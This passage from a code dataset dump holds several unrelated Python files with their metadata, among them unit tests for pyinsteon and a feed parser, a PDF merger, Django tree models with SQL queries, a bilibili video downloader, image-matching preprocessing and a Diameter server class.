unhexlify\n\nfrom pyinsteon.constants import MessageId\n\n# pylint: disable=unused-import\nfrom pyinsteon.protocol.messages.outbound import ( # noqa: F401\n get_all_link_record_for_sender,\n)\nfrom tests import set_log_levels\nfrom tests.test_messages.test_outbound.outbound_base import OutboundBase\n\n\nclass TestGetAllLinkRecordForSender(unittest.TestCase, OutboundBase):\n \"\"\"Test Get All-Link Record for Sender Command.\"\"\"\n\n def setUp(self):\n \"\"\"Set up TestGetAllLinkRecordForSender tests.\"\"\"\n self.hex = \"026C\"\n super(TestGetAllLinkRecordForSender, self).base_setup(\n MessageId(0x6C), unhexlify(self.hex)\n )\n set_log_levels(\n logger=\"info\",\n logger_pyinsteon=\"info\",\n logger_messages=\"info\",\n logger_topics=False,\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/test_messages/test_outbound/test_get_all_link_record_for_sender.py","file_name":"test_get_all_link_record_for_sender.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"372530104","text":"import sys\r\nimport os\r\nfrom PyPDF2 import PdfFileMerger\r\n\r\n\r\ndef pdfMerger(files, loc):\r\n merger = PdfFileMerger()\r\n for pdf in files:\r\n try:\r\n merger.append(open(pdf, 'rb'))\r\n except Exception as E:\r\n input(E)\r\n with open(loc + '/combined_pdf.pdf', 'wb') as pdf_out:\r\n merger.write(pdf_out)\r\n\r\n\r\nif __name__ == '__main__':\r\n if len(sys.argv) > 1:\r\n pdfMerger(sys.argv, os.path.split(sys.argv[1])[0])\r\n\r\n\r\n\r\n\r\n# def pdf_merger(loc):\r\n# pdfs = [p for p in os.listdir(loc)]\r\n\r\n# merger = PdfFileMerger()\r\n\r\n# for pdf in pdfs:\r\n# merger.append(open(os.path.join(loc, pdf), 'rb'))\r\n\r\n# with open(loc + '/combined_pdf.pdf', 'wb') as fout:\r\n# try:\r\n# merger.write(fout)\r\n# except IOError as IOerr:\r\n# print(IOerr)\r\n# raise\r\n","sub_path":"Applications/PdfFileMerger/Resources/Resources/t.py","file_name":"t.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"370800958","text":"from unittest import mock\n\nimport feedparser\nfrom django.test import TestCase\n\nfrom feeds import feedparsing\nfrom feeds.tests import FEEDPARSING_FIXTURES, load_feedparsing_fixture\n\n\nclass FeedparsingGetAndReformatFeedTestCase(TestCase):\n minimal_ok_feedparser_return = feedparser.FeedParserDict(**{\n \"status\": 200,\n \"bozo\": 0,\n \"feed\": feedparser.FeedParserDict(**{\n \"title\": \"Title\",\n \"subtitle\": \"Subtitle\",\n \"link\": \"http://example.org\"\n }),\n \"entries\": []\n })\n\n ok_feedparser_return_with_entries = feedparser.FeedParserDict(**{\n \"status\": 200,\n \"bozo\": 0,\n \"debug_message\": None,\n \"feed\": feedparser.FeedParserDict(**{\n \"title\": \"Title\",\n \"subtitle\": \"Subtitle\",\n \"link\": \"http://example.org\"\n }),\n \"entries\": [feedparser.FeedParserDict(**{\n \"title\": \"Entry #1\",\n \"summary\": \"Summary\",\n \"link\": \"http://example.org\"\n })]\n })\n\n ok_reformat_return_with_entries = {\n \"status\": 200,\n \"modified_header\": None,\n \"debug_message\": None,\n \"etag\": None,\n \"feed\": {\n \"title\": \"Title\",\n \"subtitle\": \"Subtitle\",\n \"link\": \"http://example.org\",\n \"updated_at\": None,\n },\n \"entries\": [\n {\n \"title\": \"Entry #1\",\n \"summary\": \"Summary\",\n \"link\": \"http://example.org\",\n \"updated_at\": None,\n \"guid\": None\n }\n ]\n }\n\n feedparser_return_with_entries_missing_fields = feedparser.FeedParserDict(**{\n \"status\": 200,\n \"bozo\": 0,\n \"feed\": feedparser.FeedParserDict(**{\n \"title\": \"Title\",\n \"subtitle\": \"Subtitle\",\n \"link\": \"http://example.org\"\n }),\n \"entries\": [feedparser.FeedParserDict(**{\n \"summary\": \"Summary\",\n })]\n })\n\n feedparser_return_with_entries_invalid_urls = feedparser.FeedParserDict(**{\n \"status\": 200,\n \"bozo\": 0,\n \"feed\": feedparser.FeedParserDict(**{\n \"title\": \"Title\",\n \"subtitle\": \"Subtitle\",\n \"link\": \"http://example.com\"\n }),\n \"entries\": [feedparser.FeedParserDict(**{\n \"summary\": \"Summary\",\n \"title\": \"Title\",\n \"link\": \"not#an#url\"\n })]\n })\n\n feedparser_return_with_feed_invalid_url = feedparser.FeedParserDict(**{\n \"status\": 200,\n \"bozo\": 0,\n \"feed\": feedparser.FeedParserDict(**{\n \"title\": \"Title\",\n \"subtitle\": \"Subtitle\",\n \"link\": \"http://example.com\"\n }),\n \"entries\": [feedparser.FeedParserDict(**{\n \"summary\": \"Summary\",\n \"title\": \"Title\",\n \"link\": \"not#an#url\"\n })]\n })\n\n feedparser_return_410_gone_status = feedparser.FeedParserDict(**{\n \"status\": 410,\n \"bozo\": 0,\n })\n\n feedparser_return_500_server_error_status = feedparser.FeedParserDict(**{\n \"status\": 500,\n \"bozo\": 0,\n })\n\n feedparser_return_503_gateway_timeout = feedparser.FeedParserDict(**{\n \"status\": 503,\n \"bozo\": 0,\n })\n\n def test_get_and_reformat_feed_calls_feedparser_parse_with_proper_args(self):\n with mock.patch(\"feedparser.parse\",\n return_value=self.minimal_ok_feedparser_return) as feedparser_parse_mock:\n feedparsing.get_and_reformat_feed(\"url\", etag=\"etag\", modified=\"modified\")\n self.assertTrue(feedparser_parse_mock.called)\n self.assertTrue(feedparser_parse_mock.call_args, {\"url_file_stream_or_string\": \"url\",\n \"etag\": \"etag\",\n \"modified\": \"modified\"})\n\n def test_get_and_reformat_feed_raises_feed_malformed_if_bozo_is_true(self):\n def feedparser_parse_mock_bozo_func(*args, **kwargs):\n return feedparser.FeedParserDict(**{\"bozo\": 1, \"bozo_exception\": \"---\"})\n\n with mock.patch(\"feedparser.parse\", side_effect=feedparser_parse_mock_bozo_func):\n with self.assertRaises(feedparsing.exceptions.FeedMalformed):\n result = feedparsing.get_and_reformat_feed(\"url\")\n\n def test_get_and_reformat_feed_raises_feed_gone_on_status_410(self):\n with mock.patch(\"feedparser.parse\", return_value=self.feedparser_return_410_gone_status):\n with self.assertRaises(feedparsing.exceptions.FeedGone):\n result = feedparsing.get_and_reformat_feed(\"url\")\n\n def test_get_and_reformat_feed_raises_feed_request_bad_http_status_on_status_500(self):\n with mock.patch(\"feedparser.parse\", return_value=self.feedparser_return_500_server_error_status):\n with self.assertRaises(feedparsing.exceptions.FeedRequestBadHTTPStatus):\n result = feedparsing.get_and_reformat_feed(\"url\")\n\n def test_get_and_reformat_feed_raises_feed_request_bad_http_status_on_status_503(self):\n with mock.patch(\"feedparser.parse\", return_value=self.feedparser_return_503_gateway_timeout):\n with self.assertRaises(feedparsing.exceptions.FeedRequestBadHTTPStatus):\n result = feedparsing.get_and_reformat_feed(\"url\")\n\n def test_get_and_reformat_feed_raises_required_field_missing_if_entry_is_malformed_and_continue_is_false(self):\n with mock.patch(\"feedparser.parse\", return_value=self.feedparser_return_with_entries_missing_fields):\n with self.assertRaises(feedparsing.exceptions.RequiredFieldMissing):\n result = feedparsing.get_and_reformat_feed(\"url\", continue_on_entry_errors=False)\n\n def test_get_and_reformat_feed_raises_required_field_value_validation_error_on_bad_link_and_continue_is_false(self):\n with mock.patch(\"feedparser.parse\", return_value=self.feedparser_return_with_entries_invalid_urls):\n with self.assertRaises(feedparsing.exceptions.FieldValueValidationError):\n result = feedparsing.get_and_reformat_feed(\"url\", continue_on_entry_errors=False)\n\n def test_get_and_reformat_feed_drops_malformed_entires_if_continue_is_true(self):\n with mock.patch(\"feedparser.parse\", return_value=self.feedparser_return_with_entries_missing_fields):\n result = feedparsing.get_and_reformat_feed(\"url\", continue_on_entry_errors=True)\n self.assertEqual(len(result[\"entries\"]), 0)\n\n def test_get_and_reformat_feed_drops_entires_with_bad_links_if_continue_is_true(self):\n with mock.patch(\"feedparser.parse\", return_value=self.feedparser_return_with_entries_invalid_urls):\n result = feedparsing.get_and_reformat_feed(\"url\", continue_on_entry_errors=True)\n self.assertEqual(len(result[\"entries\"]), 0)\n\n def test_get_and_reformat_feed_raises_field_value_validation_error_if_feed_url_is_invalid(self):\n with mock.patch(\"feedparser.parse\", return_value=self.feedparser_return_with_entries_invalid_urls):\n result = feedparsing.get_and_reformat_feed(\"url\", continue_on_entry_errors=True)\n self.assertEqual(len(result[\"entries\"]), 0)\n\n def test_get_and_reformat_feed_result_on_synthetic_minimal_sample(self):\n with mock.patch(\"feedparser.parse\", return_value=self.ok_feedparser_return_with_entries):\n result = feedparsing.get_and_reformat_feed(\"url\")\n self.assertEqual(result, self.ok_reformat_return_with_entries)\n\n def test_get_and_reformat_feed_raises_feed_not_changed_if_feedparser_status_is_304(self):\n with mock.patch(\"feedparser.parse\", return_value=feedparser.FeedParserDict(**{\"status\": 304,\n \"bozo\": 0})):\n with self.assertRaises(feedparsing.exceptions.FeedNotChanged):\n feedparsing.get_and_reformat_feed(\"url\")\n\n def test_get_and_reformat_feed_raises_feed_not_changed_if_feedparser_debug_message_is_present(self):\n feedparser_response_with_debug_message = feedparser.FeedParserDict(\n **{\"status\": 301, \"bozo\": 0, \"debug_message\": \"The feed has not changed since you last checked\"})\n\n with mock.patch(\"feedparser.parse\", return_value=feedparser_response_with_debug_message):\n with self.assertRaises(feedparsing.exceptions.FeedNotChanged):\n feedparsing.get_and_reformat_feed(\"url\")\n\n\nclass FeedparsingGetAndReformatFeedFixturesTestCase(TestCase):\n def test_get_and_reformat_feed_against_fixtures(self):\n for fixture in FEEDPARSING_FIXTURES:\n feedparser_parse_return, feedparsing_reformat_return = load_feedparsing_fixture(fixture)\n with self.subTest(fixture=fixture):\n with mock.patch(\"feedparser.parse\", return_value=feedparser_parse_return):\n result = feedparsing.get_and_reformat_feed(\"url\")\n self.assertEqual(result, feedparsing_reformat_return)\n","sub_path":"sc_rss_reader/feeds/tests/test_feedparsing_get_and_reformat.py","file_name":"test_feedparsing_get_and_reformat.py","file_ext":"py","file_size_in_byte":9049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"210980970","text":"from django.db import models, connection\nfrom mptt.models import MPTTModel, TreeForeignKey\n\n\nclass Collection(MPTTModel):\n parent = TreeForeignKey('self', null=True, blank=True, related_name='children', db_index=True)\n type = models.CharField(max_length=50)\n\n\nclass User(models.Model):\n roles = models.ManyToManyField(Collection, through='Role')\n\n def is_learner_in_class_of_count(self, coach):\n sql = '''\n SELECT\n COUNT(desc.id)\n FROM\n natural_tree_collection anc, natural_tree_collection desc\n INNER JOIN\n natural_tree_role coach_role, natural_tree_role learner_role\n WHERE\n coach_role.collection_id = anc.id AND\n learner_role.collection_id = desc.id AND\n coach_role.type = \"coach\" AND\n learner_role.type = \"learner\" AND\n coach_role.user_id = {coach_id} AND\n learner_role.user_id = {learner_id} AND\n desc.lft BETWEEN anc.lft AND anc.rght\n '''.format(coach_id=coach.id, learner_id=self.id)\n cursor = connection.cursor()\n cursor.execute(sql)\n return cursor.fetchone()[0] > 0\n\n def is_learner_in_class_of(self, coach):\n\n # consolidate the table/column names, and values, that will be used as context for building the query\n params = {\n \"role_table\": Role._meta.db_table,\n \"collection_table\": Collection._meta.db_table,\n \"user_column\": Role._meta.get_field('user').column,\n \"collection_column\": Role._meta.get_field('collection').column,\n \"ancestor_collection\": \"anc\",\n \"descendent_collection\": \"desc\",\n \"user_role\": Role._meta.db_table,\n \"learner_role\": \"learner_role\",\n \"learner_id\": self.id, # change later\n \"user_id\": coach.id, # change later\n }\n\n # list out the tables (along with aliases) that we'll need for use in the WHERE clause\n tables = [item.format(**params) for item in [\n '\"{collection_table}\" AS \"{ancestor_collection}\"',\n '\"{collection_table}\" AS \"{descendent_collection}\"',\n '\"{role_table}\" AS \"{learner_role}\"',\n ]]\n\n # list out the conditions for the WHERE clause\n conditions = [item.format(**params) for item in [\n \"{user_role}.{collection_column} = {ancestor_collection}.id\",\n \"{user_role}.type != 'learner'\",\n \"{user_role}.{user_column} = {user_id}\",\n \"{learner_role}.{collection_column} = {descendent_collection}.id\",\n \"{learner_role}.type = 'learner'\",\n \"{learner_role}.{user_column} = {learner_id}\",\n \"{descendent_collection}.lft BETWEEN {ancestor_collection}.lft AND {ancestor_collection}.rght\",\n ]]\n\n # execute the query, returning a queryset of all non-learner roles the coach has in relation to this learner\n queryset = Role.objects.extra(tables=tables, where=conditions)\n\n # return True if any such roles exist, otherwise False\n return queryset.exists()\n\n\n def is_learner_in_class_of_old(self, coach):\n classes = coach.my_classes()\n learners = classes.get_descendants().filter(role__user=self, role__type=\"learner\")\n return any(learners)\n\n def my_classes(self):\n return Collection.objects.filter(role__user=self, role__type=\"coach\", type=\"classroom\")\n\n\nclass Role(models.Model):\n type = models.CharField(max_length=50)\n collection = models.ForeignKey(Collection, db_index=False)\n user = models.ForeignKey(User, db_index=False)\n\n class Meta:\n index_together = [\n ['collection', 'type'],\n ['user', 'type'],\n ]\n\n\nclass RelatedObject(models.Model):\n user = models.ForeignKey(User)\n\n @classmethod\n def all_that_user_has_perms_for(cls, coach):\n return RelatedObject.objects.filter(user__in=User.objects.filter(\n role__collection__in=coach.my_classes().get_descendants(),\n role__type=\"learner\"\n ))\n","sub_path":"class_tree/natural_tree/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"381432653","text":"# -*- coding: utf-8 -*-\n# @Author: yulidong\n# @Date: 2018-08-31 17:25:26\n# @Last Modified by: yulidong\n# @Last Modified time: 2018-09-08 18:49:30\nimport torch\nimport numpy as np\nimport os\nimport time\nimport matplotlib.pyplot as plt\nfrom multiprocessing import Process,Lock\nfrom multiprocessing import Pool\nthread_num=10\ndef crop(object):\n ground=np.array((object==1).nonzero())\n x1=np.min(ground[0,:])\n x2=np.max(ground[0,:])\n y1=np.min(ground[1,:])\n y2=np.max(ground[1,:])\n size=np.sum(object)\n return x1,y1,x2+1,y2+1,size\ndef pre_matching(start,end):\n #print(start)\n left_dir=r'/home/lidong/Documents/datasets/Driving/train_data_clean_pass/left/'\n box_dir=r'/home/lidong/Documents/datasets/Driving/train_data_clean_pass/match/'\n index_dir=r'/home/lidong/Documents/datasets/Driving/train_data_clean_pass/matching/'\n aggregation_dir=r'/home/lidong/Documents/datasets/Driving/train_data_clean_pass/aggregation/'\n left_files=os.listdir(left_dir)\n left_files.sort()\n \n for i in range(int(start),int(end)):\n start_time=time.time()\n \n P=np.load(os.path.join(left_dir,left_files[i]))[...,7:]\n P1=P[...,0]\n P2=np.where(P[...,3]-P1>0,1,0)\n P3=P[...,1]\n P4=P[...,2]\n\n match=np.load(os.path.join(box_dir,left_files[i]))\n l_box=match[0,0][0]\n l_d=match[1,0]\n s_match_x=[]\n s_match_y=[]\n s_shfit=[]\n s_repeat=[]\n l_match_x=[]\n l_match_y=[]\n l_shfit=[]\n l_repeat=[]\n match_x=[]\n match_y=[]\n\n\n plane=[]\n plane_num=[]\n s_plane=[]\n s_plane_num=[]\n l_plane=[]\n l_plane_num=[]\n\n\n\n #start_time=time.time()\n for m in range(int(np.max(P3)+1)):\n x1,y1,x2,y2,size=l_box[m]\n min_d=l_d[0,m]\n if min_d==0:\n min_d=1\n max_d=l_d[1,m]\n if min_d>300:\n min_d=1\n max_d=192\n # min_d=0\n # max_d=100\n object=P3[x1:x2,y1:y2]\n object=np.where(object==m,1,0)\n s_pixel=object*P1[x1:x2,y1:y2]\n l_pixel=object*P2[x1:x2,y1:y2]\n\n shift=np.arange(min_d,max_d+1)\n s_match_x_t=s_pixel.nonzero()[0]\n s_match_y_t=s_pixel.nonzero()[1]\n if s_match_x_t.shape[0]>0:\n s_shfit.append(np.array(shift))\n s_match_x.append(np.array(s_match_x_t))\n s_match_y.append(np.array(s_match_y_t))\n s_repeat.append(np.array([shift.shape[0],s_match_x_t.shape[0]]))\n else:\n s_shfit.append(np.array([0]))\n s_match_x.append(np.array([-1]))\n s_match_y.append(np.array([-1]))\n s_repeat.append(np.array([1,1])) \n\n shift=np.arange(min_d,max_d+1)\n l_match_x_t=l_pixel.nonzero()[0]\n l_match_y_t=l_pixel.nonzero()[1]\n if l_match_x_t.shape[0]>0:\n l_shfit.append(np.array(shift))\n l_match_x.append(np.array(l_match_x_t))\n l_match_y.append(np.array(l_match_y_t))\n l_repeat.append(np.array([shift.shape[0],l_match_x_t.shape[0]]))\n else:\n l_shfit.append(np.array([0]))\n l_match_x.append(np.array([-1]))\n l_match_y.append(np.array([-1]))\n l_repeat.append(np.array([1,1]))\n object_r=object\n object_r=np.where(object_r>0,P4[x1:x2,y1:y2],0)\n #print(np.max(object_r))\n plane_0=[]\n plane_num_0=[]\n\n s_plane_0=[]\n s_plane_num_0=[]\n\n l_plane_0=[]\n l_plane_num_0=[]\n # for n in range(1,int(np.max(object_r)+1)):\n # plane_t=np.where(object_r==n,1,0).nonzero()\n # plane_num_0.append(np.array(plane_t[0].shape[0]))\n # plane_0.append(np.array([plane_t[0],plane_t[1]]))\n # s_plane_t=np.where(object_r==n,1,0)*P1[x1:x2,y1:y2]\n # s_plane_t=s_plane_t.nonzero()\n # if s_plane_t[0].shape[0]>0:\n # s_plane_num_0.append(np.array(s_plane_t[0].shape[0]))\n # s_plane_0.append(np.array([s_plane_t[0],s_plane_t[1]]))\n # else:\n # s_plane_num_0.append(np.array(0))\n # s_plane_0.append(np.array([-1,-1]))\n # l_plane_t=np.where(object_r==n,1,0)*P2[x1:x2,y1:y2]\n # l_plane_t=l_plane_t.nonzero()\n # if l_plane_t[0].shape[0]>0:\n # l_plane_num_0.append(np.array(l_plane_t[0].shape[0]))\n # l_plane_0.append(np.array([l_plane_t[0],l_plane_t[1]]))\n # else:\n # l_plane_num_0.append(np.array(0))\n # l_plane_0.append(np.array([-1,-1]))\n # plane.append(plane_0)\n # plane_num.append(np.array(plane_num_0))\n # s_plane.append(s_plane_0)\n # s_plane_num.append(np.array(s_plane_num_0))\n # l_plane.append(l_plane_0)\n # l_plane_num.append(np.array(l_plane_num_0)) \n\n match=[s_match_x,\n s_match_y,\n s_shfit,\n s_repeat,\n l_match_x,\n l_match_y,\n l_shfit,\n l_repeat]\n\n aggregation=[plane,plane_num,s_plane,s_plane_num,l_plane,l_plane_num]\n\n #print(time.time()-start_time)\n np.save(os.path.join(index_dir,left_files[i]),match)\n np.save(os.path.join(aggregation_dir,left_files[i]),aggregation)\n print('thread:%d,doing:%d,time:%.3f' % (end/440,i,time.time()-start_time))\n # fig, ax = plt.subplots(nrows=5,ncols=1, sharex=True, sharey=True,figsize=(32, 64))\n # ax[0].imshow(P1, cmap=plt.cm.gray)\n # ax[1].imshow(P2, cmap=plt.cm.gray)\n # ax[2].imshow(P3, cmap=plt.cm.gray)\n # ax[3].imshow(P4, cmap=plt.cm.gray)\n\n\n\nprocess = []\nleft_dir=r'/home/lidong/Documents/datasets/Driving/train_data_clean_pass/left/'\nleft_files=os.listdir(left_dir)\nleft_files.sort()\nlength=len(left_files)\nstart=[]\nend=[]\np = Pool(thread_num)\nfor z in range(thread_num):\n start.append(z*length/10)\n end.append((z+1)*length/10)\nfor z in range(thread_num):\n p.apply_async(pre_matching, args=(start[z],end[z]))\n\np.close()\np.join()\n# pre_matching(0,1)\nprint('end')\n","sub_path":"index_iterative.py","file_name":"index_iterative.py","file_ext":"py","file_size_in_byte":6471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"233884523","text":"# -*- coding:UTF-8 -*-\n\"\"\"\n指定bilibili视频下载\nhttps://www.bilibili.com/\n@author: hikaru\nemail: hikaru870806@hotmail.com\n如有问题或建议请联系\n\"\"\"\nimport os\nimport tkinter\nfrom tkinter import filedialog\nfrom common import *\nfrom project.bilibili import bilibili\n\n\ndef main():\n # 初始化\n bilibili_class = bilibili.BiliBili(extra_sys_config={crawler.SYS_NOT_CHECK_SAVE_DATA: True})\n # GUI窗口\n gui = tkinter.Tk()\n gui.withdraw()\n\n while True:\n video_url = input(\"请输入bilibili视频地址:\").lower()\n video_id = None\n if video_url.find(\"bilibili.com/video/av\") > 0:\n video_id = tool.find_sub_string(video_url, \"bilibili.com/video/av\").split(\"?\")[0]\n elif crawler.is_integer(video_url):\n video_id = video_url\n elif video_url[:2] == \"av\" and crawler.is_integer(video_url[2:]):\n video_id = video_url[2:]\n # 无效的视频地址\n if not crawler.is_integer(video_id):\n log.step(\"错误的视频地址,正确的地址格式如:https://www.bilibili.com/video/av123456\")\n continue\n # 访问视频播放页\n try:\n video_response = bilibili.get_video_page(video_id)\n except crawler.CrawlerException as e:\n log.error(\"解析视频下载地址失败,原因:%s\" % e.message)\n continue\n if video_response[\"is_private\"]:\n log.step(\"视频需要登录才能访问,跳过\")\n continue\n\n if len(video_response[\"video_part_info_list\"]) > 1:\n log.step(\"视频共获取%s个分段\" % len(video_response[\"video_part_info_list\"]))\n\n part_index = 1\n for video_part_info in video_response[\"video_part_info_list\"]:\n if len(video_part_info[\"video_url_list\"]) == 0:\n if len(video_response[\"video_part_info_list\"]) > 1:\n log.step(\"视频第%s个分段已删除\" % part_index)\n else:\n log.step(\"视频已删除\")\n continue\n\n video_title = video_response[\"video_title\"]\n if len(video_response[\"video_part_info_list\"]) > 1:\n if video_part_info[\"video_part_title\"]:\n video_title += \"_\" + video_part_info[\"video_part_title\"]\n else:\n video_title += \"_\" + str(part_index)\n video_name = \"%08d %s.%s\" % (int(video_id), path.filter_text(video_title), net.get_file_type(video_part_info[\"video_url_list\"][0]))\n # 选择下载目录\n options = {\n \"initialdir\": bilibili_class.video_download_path,\n \"initialfile\": video_name,\n \"filetypes\": [(\"all\", \"*\")],\n \"parent\": gui,\n }\n file_path = tkinter.filedialog.asksaveasfilename(**options)\n if not file_path:\n continue\n\n log.step(\"\\n视频标题:%s\\n视频地址:%s\\n下载路径:%s\" % (video_title, video_url, file_path))\n # 开始下载\n video_index = 1\n for video_url in video_part_info[\"video_url_list\"]:\n if len(video_part_info[\"video_url_list\"]) > 1:\n temp_list = os.path.basename(file_path).split(\".\")\n file_type = temp_list[-1]\n file_name = \".\".join(temp_list[:-1])\n file_name += \" (%s)\" % video_index\n file_real_path = os.path.abspath(os.path.join(os.path.dirname(file_path), \"%s.%s\" % (file_name, file_type)))\n else:\n file_real_path = file_path\n\n save_file_return = net.save_net_file(video_url, file_real_path, header_list={\"Referer\": \"https://www.bilibili.com/video/av%s\" % video_id})\n if save_file_return[\"status\"] == 1:\n if len(video_part_info[\"video_url_list\"]) == 1:\n log.step(\"视频《%s》下载成功\" % video_title)\n else:\n log.step(\"视频《%s》第%s段下载成功\" % (video_title, video_index))\n else:\n if len(video_part_info[\"video_url_list\"]) == 1:\n log.step(\"视频《%s》下载失败,原因:%s\" % (video_title, crawler.download_failre(save_file_return[\"code\"])))\n else:\n log.step(\"视频《%s》第%s段下载失败,原因:%s\" % (video_title, video_index, crawler.download_failre(save_file_return[\"code\"])))\n video_index += 1\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"project/bilibili/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":4627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"458727121","text":"import subprocess as sp\nimport pandas as pd\nimport numpy as np\nfrom scipy.optimize import minimize\nimport math\nfrom functools import partial\n\ndef readHV(fileName):\n\ttry:\n\t\tdf = pd.read_csv(fileName, sep='\\t', header=None)\n\t\tHV = df.to_numpy()\n\t\tHV[:, 0] = HV[:, 0] * 0.001\n\t\tHV = normalizeHV(HV)\n\texcept:\n\t\tH = np.arange(0, 10, 0.1, dtype=float)\n\t\tV = np.full(100, 100)\n\t\tHV = np.column_stack((H, V))\n\treturn HV\n\ndef readHVPostProc(fileName):\n\ttry:\n\t\tdf = pd.read_csv(fileName, sep='\\t', header=None)\n\t\tHV = df.iloc[:, [0,1]].to_numpy()\n\t\tHV[0,1] = 0.0\n\t\tHV = normalizeHV(HV)\n\texcept:\n\t\tH = np.arange(0, 10, 0.1, dtype=float)\n\t\tV = np.zeros(100)\n\t\tHV = np.column_stack((H, V))\n\treturn HV\n\ndef normalizeHV(HV):\n\tHstart = HV[0,0]\n\tHfinish = HV[-1,0]\n\tHstep = 0.00001\n\tH = np.arange(Hstart, Hfinish + Hstep, Hstep, dtype=float)\n\tV = np.interp(H, HV[:,0], HV[:,1], left=0, right=0)\n\tHV = np.column_stack((H, V))\n\treturn HV\n\ndef calcOneRMSE(HVRef, HVTmp):\n\tsize = min(waterVelocityExtract(HVRef[:,1]), waterVelocityExtract(HVTmp[:,1]))\n\tURef = HVRef[:size, 1]\n\tUTmp = HVTmp[:size, 1]\n\tRMSE = (URef - UTmp)**2\n\tRMSE = math.sqrt(RMSE.sum() / size)\n\treturn RMSE\n\ndef waterVelocityExtract(U):\n\tnMax = np.amax(np.argmax(U))\n\tif nMax != U.size - 1:\n\t\tnMax += 1\n\treturn nMax\n\ndef main():\n\tbounds = [[0., 2.], [0., 2.], [0., 2.], [0., 2.], [0., 0.5], [0., 0.5], [0., 0.5], [0., 2.], [0., 2.], [0., 2.], [0., 2.], [0., 20.]]\n\tcoeffs = [0.85, 1.0, 0.5, 0.856, 0.075, 0.0828, 0.09, 0.5555556, 0.44, 0.31, 1.0, 10.0]\n\trefFile = (\"data/outletExperimentalProfile.csv\")\n\tturbFile = (\"postProcessing/singleGraph/0.5/line_U.xy\")\n\tdfHVRef = readHV(refFile)\n\tdfHVPostProc = readHVPostProc(turbFile)\n\tRMSE = calcOneRMSE(dfHVRef, dfHVPostProc)\n\topen(\"data/loss\", \"w\").write(str(RMSE))\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"constantAngleSlopeTurbKWUProfileInlet180321GLZ/calcLoss.py","file_name":"calcLoss.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"357152473","text":"import daisy\nfrom .tmpdir_test import TmpDirTestCase\n\ndaisy.scheduler._NO_SPAWN_STATUS_THREAD = True\n\n\nclass TestBlockwiseBasics(TmpDirTestCase):\n\n def test_parameters(self):\n\n class TestTask(daisy.Task):\n a = daisy.Parameter(default=True)\n b = daisy.Parameter(default=False)\n c = daisy.Parameter()\n\n with self.assertRaises(RuntimeError):\n t = TestTask()\n\n with self.assertRaises(RuntimeError):\n t = TestTask(d=42)\n\n t = TestTask(c=42)\n\n assert t.a is True\n assert t.b is False\n assert t.c == 42\n\n t = TestTask(global_config={'TestTask': {'a': 23, 'b': 42, 'c': 3.14}})\n\n assert t.a == 23\n assert t.b == 42\n assert t.c == 3.14\n","sub_path":"daisy/tests/test_tasks.py","file_name":"test_tasks.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"264375139","text":"# -*- coding: iso-8859-1 -*-\n#\n# $Id: diameterServers.py,v 1.14 2013/01/23 13:54:15 xantgui Exp $\n#\n# Copyright (c) Ericsson España S.A., 2011.\n# All rights reserved.\n#\n# This product or document is proprietary to and embodies the\n# confidential technology of Ericsson España S.A.\n# Possession, use, duplication or distribution of this product\n# or document is authorized only pursuant to a valid written\n# license from Ericsson España S.A\n#\n\n#\n# [xerngar] 2011-07-28\n#\n# Created new diameter server class : DiameterTwistedBasedServer\n# Now reactor won't block main thread\n# To use this remember to invoke injector method directly in test suite\n# Do not forget to check results and stop reactor at the end\n#\n# More info about TwistedBasedServer class at twistedServer.py\n#\n\n'''\nClasses to be defined with a config file in order to emulate\na Diameter server's behavior.\n'''\n\nfrom NSTpyfw.diameterTwisted import DiameterFactory, GyProtocol, GxProtocol, RxProtocol\nfrom NSTpyfw.twistedServer import TwistedBasedServer\nfrom NSTpyfw.server import Server\nfrom twisted.internet import reactor, error\n\nimport socket\nimport diameter\nimport logging\n\nclass diameterServer(Server):\n '''\n This class implements a Generic diameter server to be used within SASN test suites.\n Many of its methods are abstract and will have to be implemented by child classes.\n It can be extended to implement Diameter control servers based on either Twisted or pyDiameter.\n Child Server objects can be instantiated at either TestCase level (more commonly) or TestSuite level.\n Method \"run\" executes a list of operations defined on a yaml file associated to the diameter server. Those operations (methods) should be implemented at child classes level.\n '''\n\n\n def __init__(self, ppu_entity = None):\n '''\n Constructor\n '''\n #initialize parent class\n Server.__init__(self, ppu_entity)\n\n #specific attributes for diameterServer\n self.servertype = None #twisted, pydiameter, outline\n self.origin_host = None\n self.origin_realm = None\n self.product_name = None\n self.timeout = None\n self.timeout_watchdog = None\n self.specific_config = None #specific gx/gy configuration file or dictionary\n\n ## END METHOD __init__()\n\n def __repr__(self):\n \"\"\"\n Return a string representation of this object, for debugging.\n\n @rtype: str\n \"\"\"\n out = '{diameterServer'\n for i in (\"ip\", \"port\", \"type\", \"servertype\", \"origin_host\", \\\n \"origin_realm\", \"product_name\", \"timeout\", \"timeout_watchdog\", \"specific_config\"):\n out += ' %s=%s' % (i, repr(eval(\"self.\"+i)))\n out += '}'\n\n return out\n ## END METHOD __repr__()\n\n def start(self):\n '''\n This method is used to initialize the server:\n - Open a socket\n - Create a thread to run the server\n - Initialize data when a database is used\n - ...\n '''\n pass\n\n ## END METHOD start()\n\n def run(self):\n '''\n This method runs the server's logic.\n '''\n pass\n\n ## END METHOD run()\n\n def wait_for_request(self):\n '''\n The server waits for a request and sends a response.\n '''\n pass\n\n ## END METHOD wait_for_request()\n\n def send_request(self):\n '''\n The server sends a request and waits for a response.\n Specific method for diameterServer\n '''\n pass\n\n ## END 